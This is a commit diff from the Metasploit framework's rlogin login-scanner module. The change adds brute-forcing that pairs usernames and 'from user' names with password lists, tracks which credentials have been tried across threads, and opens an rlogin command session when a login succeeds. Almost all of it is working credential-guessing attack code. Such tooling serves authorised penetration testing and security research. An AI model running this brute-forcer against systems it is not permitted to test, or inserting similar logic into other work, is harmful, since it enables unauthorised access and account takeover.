add custom passwords+fromusers combined bruting, some fixes
git-svn-id: file:///home/svn/framework3/trunk@11140 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
dfe3aff6bd
commit
2e8728a637
|
@ -14,9 +14,9 @@ require 'msf/core'
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
include Msf::Exploit::RServices
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::AuthBrute
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
include Msf::Auxiliary::RServices
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::Login
|
include Msf::Auxiliary::Login
|
||||||
include Msf::Auxiliary::CommandShell
|
include Msf::Auxiliary::CommandShell
|
||||||
|
@ -54,16 +54,87 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
luser ||= 'root'
|
luser ||= 'root'
|
||||||
|
|
||||||
begin
|
begin
|
||||||
each_user_pass { |user, pass|
|
each_user_fromuser_pass { |user, fromuser, pass|
|
||||||
try_user_pass(user, pass, luser)
|
try_user_pass(user, fromuser, pass)
|
||||||
}
|
}
|
||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
nil
|
nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def try_user_pass(user, pass, luser)
|
def each_user_fromuser_pass(&block)
|
||||||
|
# Class variables to track credential use (for threading)
|
||||||
|
@@credentials_tried = {}
|
||||||
|
@@credentials_skipped = {}
|
||||||
|
|
||||||
|
credentials = extract_word_pair(datastore['USERPASS_FILE'])
|
||||||
|
|
||||||
|
translate_proto_datastores()
|
||||||
|
|
||||||
|
users = load_user_vars(credentials)
|
||||||
|
fromusers = load_fromuser_vars()
|
||||||
|
passwords = load_password_vars(credentials)
|
||||||
|
|
||||||
|
cleanup_files()
|
||||||
|
|
||||||
|
if datastore['BLANK_PASSWORDS']
|
||||||
|
credentials = gen_blank_passwords(users, credentials)
|
||||||
|
end
|
||||||
|
|
||||||
|
# pair up fromusers 1:1 with passwords, turning each password into an array
|
||||||
|
passwords.map! { |p|
|
||||||
|
fu = fromusers.shift
|
||||||
|
p = [ fu, p ]
|
||||||
|
}
|
||||||
|
# more fromusers than passwords? append nil passwords, which will be handled specially
|
||||||
|
# by the login processing.
|
||||||
|
fromusers.each { |fu|
|
||||||
|
passwords << [ fu, nil ]
|
||||||
|
}
|
||||||
|
|
||||||
|
credentials.concat(combine_users_and_passwords(users, passwords))
|
||||||
|
#credentials = just_uniq_passwords(credentials) if @strip_usernames
|
||||||
|
|
||||||
|
fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"]
|
||||||
|
|
||||||
|
credentials.each do |u, fupw|
|
||||||
|
break if @@credentials_skipped[fq_rest]
|
||||||
|
|
||||||
|
fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u]
|
||||||
|
|
||||||
|
userpass_sleep_interval unless @@credentials_tried.empty?
|
||||||
|
|
||||||
|
next if @@credentials_skipped[fq_user]
|
||||||
|
next if @@credentials_tried[fq_user] == fupw
|
||||||
|
|
||||||
|
fu,p = fupw
|
||||||
|
ret = block.call(u, fu, p)
|
||||||
|
|
||||||
|
case ret
|
||||||
|
when :abort # Skip the current host entirely.
|
||||||
|
break
|
||||||
|
|
||||||
|
when :next_user # This means success for that user.
|
||||||
|
@@credentials_skipped[fq_user] = fupw
|
||||||
|
if datastore['STOP_ON_SUCCESS'] # See?
|
||||||
|
@@credentials_skipped[fq_rest] = true
|
||||||
|
end
|
||||||
|
|
||||||
|
when :skip_user # Skip the user in non-success cases.
|
||||||
|
@@credentials_skipped[fq_user] = fupw
|
||||||
|
|
||||||
|
when :connection_error # Report an error, skip this cred, but don't abort.
|
||||||
|
vprint_error "#{datastore['RHOST']}:#{datastore['RPORT']} - Connection error, skipping '#{u}':'#{p}' from '#{fu}'"
|
||||||
|
|
||||||
|
end
|
||||||
|
@@credentials_tried[fq_user] = fupw
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def try_user_pass(user, luser, pass)
|
||||||
vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':'#{pass}' from '#{luser}'"
|
vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':'#{pass}' from '#{luser}'"
|
||||||
|
#vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':'#{pass.inspect}' from '#{luser.inspect}'"
|
||||||
this_attempt ||= 0
|
this_attempt ||= 0
|
||||||
ret = nil
|
ret = nil
|
||||||
while this_attempt <= 3 and (ret.nil? or ret == :refused)
|
while this_attempt <= 3 and (ret.nil? or ret == :refused)
|
||||||
|
@ -117,6 +188,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# with a little backoff.
|
# with a little backoff.
|
||||||
def connect_reset_safe
|
def connect_reset_safe
|
||||||
begin
|
begin
|
||||||
|
# Reset our accumulators for interacting with /bin/login
|
||||||
|
@recvd = ''
|
||||||
|
@trace = ''
|
||||||
# We must connect from a privileged port.
|
# We must connect from a privileged port.
|
||||||
connect_from_privileged_port
|
connect_from_privileged_port
|
||||||
rescue Rex::ConnectionRefused
|
rescue Rex::ConnectionRefused
|
||||||
|
@ -158,14 +232,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
if login_succeeded?
|
if login_succeeded?
|
||||||
# should we report a vuln here? rlogin allowed w/o password?!
|
# should we report a vuln here? rlogin allowed w/o password?!
|
||||||
print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.")
|
print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.")
|
||||||
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
|
start_rlogin_session(rhost, rport, user, luser, nil, @trace)
|
||||||
return :success
|
return :success
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# no password to try, give up if luser isnt enough.
|
||||||
|
return :fail if not pass
|
||||||
|
|
||||||
recvd_sample = @recvd.dup
|
recvd_sample = @recvd.dup
|
||||||
# Allow for slow echos
|
# Allow for slow echos
|
||||||
1.upto(10) do
|
1.upto(10) do
|
||||||
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
|
recv(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||||
|
@ -176,7 +253,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# Allow for slow echos
|
# Allow for slow echos
|
||||||
1.upto(10) do
|
1.upto(10) do
|
||||||
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
|
recv(self.sock, 0.10) if @recvd == recvd_sample
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||||
|
@ -208,27 +285,36 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def start_rlogin_session(host, port, user, luser, pass, proof)
|
def start_rlogin_session(host, port, user, luser, pass, proof)
|
||||||
|
|
||||||
report_auth_info(
|
auth_info = {
|
||||||
:host => host,
|
:host => host,
|
||||||
:port => port,
|
:port => port,
|
||||||
:sname => 'rlogin',
|
:sname => 'rlogin',
|
||||||
:user => user,
|
:user => user,
|
||||||
:pass => pass,
|
|
||||||
:luser => luser,
|
|
||||||
:proof => proof,
|
:proof => proof,
|
||||||
:active => true
|
:active => true
|
||||||
)
|
}
|
||||||
|
|
||||||
merge_me = {
|
merge_me = {
|
||||||
'USERPASS_FILE' => nil,
|
'USERPASS_FILE' => nil,
|
||||||
'USER_FILE' => nil,
|
'USER_FILE' => nil,
|
||||||
|
'FROMUSER_FILE' => nil,
|
||||||
'PASS_FILE' => nil,
|
'PASS_FILE' => nil,
|
||||||
'USERNAME' => user,
|
'USERNAME' => user,
|
||||||
'LOCALUSER' => luser,
|
|
||||||
'PASSWORD' => pass
|
|
||||||
}
|
}
|
||||||
|
|
||||||
start_session(self, "RLOGIN #{user}:#{pass} (#{host}:#{port})", merge_me)
|
if pass
|
||||||
|
auth_info.merge!(:pass => pass)
|
||||||
|
merge_me.merge!('PASSWORD' => pass)
|
||||||
|
info = "RLOGIN #{user}:#{pass} (#{host}:#{port})"
|
||||||
|
else
|
||||||
|
auth_info.merge!(:luser => luser)
|
||||||
|
merge_me.merge!('FROMUSER'=> luser)
|
||||||
|
info = "RLOGIN #{user} from #{luser} (#{host}:#{port})"
|
||||||
|
end
|
||||||
|
|
||||||
|
report_auth_info(auth_info)
|
||||||
|
start_session(self, info, merge_me)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue